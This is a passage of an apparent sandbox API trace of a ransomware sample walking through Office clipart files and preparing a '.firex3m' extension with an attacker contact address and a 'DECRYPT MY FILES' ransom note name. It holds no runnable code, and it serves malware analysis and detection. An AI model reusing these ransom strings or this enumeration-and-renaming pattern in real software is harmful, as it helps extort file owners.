pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 1 [0135.745] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf") returned 0x44 [0135.745] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.745] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.745] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.745] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.745] GetProcessHeap () returned 0x630000 [0135.745] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1d0) returned 0x66a3e0 [0135.745] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6abd89, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x20ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00174_.WMF", cAlternateFileName="")) returned 1 [0135.746] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 1 [0135.746] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf") returned 0x44 [0135.746] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.746] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.746] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.746] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.746] GetProcessHeap () returned 0x630000 [0135.746] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1d4) returned 0x66a3e0 [0135.746] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1370, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00184_.WMF", cAlternateFileName="")) returned 1 [0135.746] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 1 [0135.746] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00184_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf") returned 0x44 [0135.746] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.746] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.747] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.747] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.747] GetProcessHeap () returned 0x630000 [0135.747] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1d8) returned 0x66a3e0 [0135.747] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00186_.WMF", cAlternateFileName="")) returned 1 [0135.747] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00184_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF") returned 1 [0135.747] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00186_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf") returned 0x44 [0135.747] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.747] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.747] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.747] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.747] GetProcessHeap () returned 0x630000 [0135.747] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1dc) returned 0x66a3e0 [0135.747] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc20, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00200_.WMF", cAlternateFileName="")) returned 1 [0135.748] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00186_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF") returned 1 [0135.748] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00200_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf") returned 0x44 [0135.748] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.748] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.748] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.748] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.748] GetProcessHeap () returned 0x630000 [0135.748] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1e0) returned 0x66a3e0 [0135.748] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x634, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00224_.WMF", cAlternateFileName="")) returned 1 [0135.748] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00200_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 1 [0135.748] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf") returned 0x44 [0135.748] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.748] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.749] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.749] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.749] GetProcessHeap () returned 0x630000 [0135.749] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1e4) returned 0x66a3e0 [0135.749] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00438_.WMF", cAlternateFileName="")) returned 1 [0135.749] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 1 [0135.749] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf") returned 0x44 [0135.749] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.749] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.749] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.749] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.749] GetProcessHeap () returned 0x630000 [0135.749] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1e8) returned 0x66a3e0 [0135.750] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1 [0135.750] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 1 [0135.750] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf") returned 0x44 [0135.750] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.750] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.750] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.750] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.750] GetProcessHeap () returned 0x630000 [0135.750] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1ec) returned 0x66a3e0 [0135.750] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6f8253, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1 [0135.750] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF") returned 1 [0135.750] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00440_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf") returned 0x44 [0135.750] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.751] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.751] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.751] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.751] GetProcessHeap () returned 0x630000 [0135.751] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1f0) returned 0x66a3e0 [0135.751] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6d2045, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6d2045, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1 [0135.751] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00440_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF") returned 1 [0135.751] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00441_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf") returned 0x44 [0135.751] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.751] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.751] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.751] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.752] GetProcessHeap () returned 0x630000 [0135.752] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1f4) returned 0x66a3e0 [0135.752] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1 [0135.752] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00441_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF") returned 1 [0135.752] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00442_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf") returned 0x44 [0135.752] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.752] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.752] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.752] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.752] GetProcessHeap () returned 0x630000 [0135.752] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1f8) returned 0x66a3e0 [0135.752] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6abd89, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6abd89, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd6d2045, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1 [0135.752] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00442_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 1 [0135.752] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf") returned 0x44 [0135.753] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.753] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0135.753] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0135.753] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0135.753] GetProcessHeap () returned 0x630000 [0135.753] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1fc) returned 0x6ed3720 [0135.753] FindNextFileW (in: hFindFile=0x6d5040, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd6f8253, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xd6f8253, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd71e4b4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf38, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS00444_.WMF", cAlternateFileName="")) returned 1 [0135.753] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf", psz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF") returned 1 [0135.753] CharLowerBuffW (in: lpsz="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00444_.WMF", cchLength=0x44 | out: lpsz="c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00444_.wmf") returned 0x44 [0135.753] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0135.753] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, 